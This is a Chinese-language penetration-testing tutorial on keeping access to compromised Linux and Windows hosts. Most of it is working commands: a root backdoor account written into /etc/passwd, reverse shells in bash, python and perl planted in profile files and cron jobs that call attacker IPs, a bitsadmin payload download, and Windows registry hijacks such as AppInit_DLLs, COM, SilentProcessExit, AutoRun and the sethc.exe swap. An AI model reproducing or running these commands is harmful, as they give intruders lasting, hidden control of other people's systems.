渗透测试之权限维持

当我们在渗透过程中通过艰辛的努力终于获取了目标主机权限后,我们接下来要做的往往是在目标机器上创建一个后门来维持住我们所获得的权限,否则一旦目标密码被改变或者漏洞被修补,那么就会导致我们对服务器权限的丢失。本文将为你呈上LinuxWindows系统下的权限维持。

linux权限维持

01添加账号

一般在具有root权限时可以使用以下2种方式添加root权限用户

1.通过useradd添加,后面跟随账号和密码。

useradd kali666/123456

2.通过直接对etc/passwd文件进行写入

echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd  

02通过环境变量植入后门

以下是环境变量的位置

/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc

写入shell反弹语句

echo 'bash -i >& /dev/tcp/192.168.50.1/7777 0>&1' >> /etc/profile

这样在重启的时候就会弹shell过来了,会根据登的哪个账号弹哪个账号的shell

以下文件需要高权限,为全局变量

/etc/profile
/etc/profile.d/*.sh
/etc/bashrc
/etc/bash.bashrc

以下为当前用户的环境变量

~/.bash_profile  #实验过程中没有反应
~/.profile    #登录后会接收shell,但是加载桌面时会卡住
~/.bashrc     #打开shell窗口时会接收shell,但正常的shell窗口会卡住
~/bash_logout   #实验过程中没有反应

03计划任务

因为计划任务使用的是/bin/sh,所以传统的直接通过bash反弹shell是行不通的

这里借助python,或者perl都可

使用python

echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -

使用perl

echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -

windows权限维持

01 利用比较常见的windows漏洞提取

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码

ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)

ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞

永恒之蓝等常见的系统漏洞。

02计划任务

拿到shell后先修改编码

chcp 65001

设置计划任务,每分钟调用运行一次shell

schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00

02环境变量

用户登陆时会去加载环境变量,通过设置环境变量UserInitMprLogonScript值,实现登陆时自动运行脚本

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f

03进程退出劫持

在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控制程序的退出时执行的动作,但有时候权限很迷

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”

04AppInit_DLLs注入

User32.dll被加载到进程时,设置其注册表的设置加载其他的dll文件,则可使其加载恶意的脚本

对HKML注册表的内容进行修改一般都要system权限

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

这样在打开cmd或者计算器这种能调用User32.dll动态链接库的时候就会触发

05 随意下载

bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 

06 COM组件劫持

将脚本放入com组件中

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f

07替换cmd.exe

sethc.exe(按shift 5下)替换成cmd.exe

takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe

08 cmd 启动劫持

在cmd启动时回去注册表中查看是否有AutoRun的健值,如果有则会运行其中的脚本

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

09 wmic事件

注册一个事件过滤器,该过滤器是开机 2 分钟到 2 分半钟,由于是永久 WMI 事 件订阅,故需要管理员权限,最终获取到权限也是 system 权限

/NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 

后记

需要注意的事,在实际的操作中,可能由于Linux或者Windows系统版本的问题。导致失败的情况。你可以查询针对此版本的攻击策略。

更多文章 关注我们


请使用浏览器的分享功能分享到微信等